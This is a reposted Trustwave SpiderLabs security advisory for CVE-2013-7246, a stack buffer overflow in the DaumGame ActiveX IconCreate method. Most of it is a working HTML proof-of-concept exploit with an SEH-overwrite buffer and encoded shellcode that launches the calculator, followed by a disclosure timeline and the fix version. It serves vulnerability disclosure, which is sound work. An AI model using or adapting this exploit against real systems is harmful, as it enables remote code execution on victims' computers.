Daum Game 1.1.0.5 ActiveX (IconCreate Method)

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Daum Game 1.1.0.5 ActiveX (IconCreate Method) - Stack Buffer Overflow

来源：vfocus.net 作者：Trustwave 发布时间：2014-01-26

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Trustwave SpiderLabs Security Advisory TWSL2014-002:

Buffer Overflow Vulnerability in DaumGame ActiveX

Published: 01/07/2014

Version: 1.1

Vendor: Daum (daum.net)

Product: Daum Game ActiveX

Version affected: 1.1.0.5, 1.1.0.4

Product description:

DaumGame ActiveX of Daum Communications is a plugin that is required for

playing in Daum Game website.

Finding 1: ActiveX IconCreate SEH Overwrite Remote Code Execution

Credit: Daniel Chechik of Trustwave SpiderLabs

CVE: CVE-2013-7246

CWE: CWE-119

DaumGame ActiveX versions 1.1.0.5, 1.1.0.4 by Daum Communications includes

the vulnerable method "IconCreate" which is designed to support icon

process. The method which accepts printable characters suffers from buffer

overflow vulnerability that leads to SEH overwrite.

The following Proof of Concept (PoC) executes an harmless calculator. In

this PoC the SEH handler is overwritten with an address from 'msls31.dll'

in order to control EIP.

## daumgame.html

-->

<html>

<body>

<object name="activex2" classid="clsid:16B6A027-2732-4028-9303-EFE3E95EF766"> </object>

<script>

var overwrite = unescape("%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05

%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%

05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%0

5%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05

%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%

05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%

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5%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%05%90%90%eb%06%a9%15%6c%74%90%90%90%90%90%90%90%90%90%90%90%90");

var buffer = "";

for (i=0; i < 18004; i++ ){

buffer += "%41";

}

buffer = unescape(buffer);

var shellcode = "\xda\xd1\xd9\x74\x24\xf4\x5f\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x59\x6c\x5a\x48\x4f\x79\x33\x30\x45\x50\x35\x50\x71\x70\x6c\x49\x6b\x55\x65\x61\x4b\x62\x63\x54\x6e\x6b\x70\x52\x44\x70\x6e\x6b\x56\x32\x56\x6c\x6e\x6b\x56\x32\x34\x54\x6e\x6b\x33\x42\x74\x68\x34\x4f\x4e\x57\x32\x6a\x54\x66\x56\x51\x49\x6f\x45\x61\x49\x50\x4c\x6c\x37\x4c\x75\x31\x73\x4c\x73\x32\x76\x4c\x75\x70\x6b\x71\x5a\x6f\x76\x6d\x35\x51\x6b\x77\x38\x62\x5a\x50\x71\x42\x56\x37\x4e\x6b\x52\x72\x64\x50\x4c\x4b\x30\x42\x65\x6c\x73\x31\x6e\x30\x6c\x4b\x53\x70\x43\x48\x6e\x65\x6f\x30\x62\x54\x51\x5a\x55\x51\x4a\x70\x42\x70\x4c\x4b\x71\x58\x52\x38\x6e\x6b\x71\x48\x65\x70\x37\x71\x4e\x33\x6a\x43\x67\x4c\x71\x59\x4c\x4b\x75\x64\x4c\x4b\x57\x71\x6b\x66\x35\x61\x69\x6f\x54\x71\x4f\x30\x4e\x4c\x4b\x71\x48\x4f\x64\x4d\x47\x71\x7a\x67\x75\x68\

x59\x70\x74\x35\x79\x64\x46\x63\x71\x6d\x78\x78\x37\x4b\x51\x6d\x45\x74\x61\x65\x59\x72\x32\x78\x6c\x4b\x72\x78\x45\x74\x63\x31\x4b\x63\x30\x66\x6e\x6b\x64\x4c\x52\x6b\x6e\x6b\x52\x78\x37\x6c\x35\x51\x6e\x33\x4e\x6b\x66\x64\x6e\x6b\x37\x71\x6e\x30\x4b\x39\x77\x34\x54\x64\x75\x74\x71\x4b\x33\x6b\x71\x71\x56\x39\x61\x4a\x76\x31\x69\x6f\x6d\x30\x50\x58\x61\x4f\x32\x7a\x6c\x4b\x47\x62\x58\x6b\x4e\x66\x43\x6d\x50\x6a\x57\x71\x4e\x6d\x6e\x65\x6d\x69\x77\x70\x47\x70\x73\x30\x62\x70\x42\x48\x46\x51\x4e\x6b\x50\x6f\x6b\x37\x39\x6f\x4a\x75\x4d\x6b\x5a\x50\x38\x35\x4c\x62\x76\x36\x32\x48\x6c\x66\x4f\x65\x4d\x6d\x6f\x6d\x39\x6f\x69\x45\x55\x6c\x76\x66\x33\x4c\x76\x6a\x6d\x50\x39\x6b\x4b\x50\x52\x55\x66\x65\x6f\x4b\x53\x77\x76\x73\x63\x42\x30\x6f\x53\x5a\x65\x50\x73\x63\x79\x6f\x5a\x75\x61\x73\x33\x51\x30\x6c\x62\x43\x44\x6e\x35\x35\x61\x68\x63\x55\x43\x30\x41\x41";

var seh_code = overwrite + shellcode + buffer;

activex2.IconCreate(seh_code,'','');

</script>

</body>

</html>

<!--

Remediation Steps:

The vendor has released a fix in version 1.1.0.6

Revision History:

12/20/13 - Vulnerability disclosed to vendor

01/03/14 - Patch released by vendor

01/06/14 - Advisory published

01/07/14 - Confirmed fix

01/07/14 - Advisory revision published

References

1. http://game.daum.net/

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About Trustwave SpiderLabs:

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concept tool development to enhance Trustwave's products and services.

https://www.trustwave.com/spiderlabs

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